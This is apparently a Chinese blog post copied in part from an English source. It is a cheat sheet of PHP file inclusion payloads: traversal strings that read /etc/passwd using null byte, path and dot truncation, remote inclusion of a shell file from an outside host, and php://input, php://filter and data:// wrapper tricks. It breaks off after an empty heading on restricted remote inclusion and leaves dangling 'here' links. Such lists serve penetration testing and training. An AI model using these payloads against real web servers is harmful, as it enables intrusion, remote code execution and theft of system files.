关于php文件包含一些漏洞分析

文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。

基本的文件包含漏洞:

代码如下

* 空字符注入(null byte injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(null byte injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限bsd, 需要magic_quotes_gpc=off,详细信息here)
*路径截断(path truncation):
?file=../../../../../../../../../etc/passwd……….. …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限windows, 更多细节参见 here)

基本的远程文件包含:

代码如下

* 包含远程代码(including remote code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=on 和 allow_url_include=on)

* 使用php输入流(using php stream php://input):

?file=php://input
(specify your payload in the post parameters, watch urlencoding, details here, requires allow_url_include=on)

* 使用php过滤函数(using php stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read php source because it wont get evaluated in base64. more details here and here)
* using data uris:
?file=data://text/plain;base64,ssbsb3zlifbiuao=
(需要 allow_url_include=on)

* 用于跨站脚本攻击(using xss):

代码如下

?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)

受限的远程文件包含漏洞

代码如下

Posted in 未分类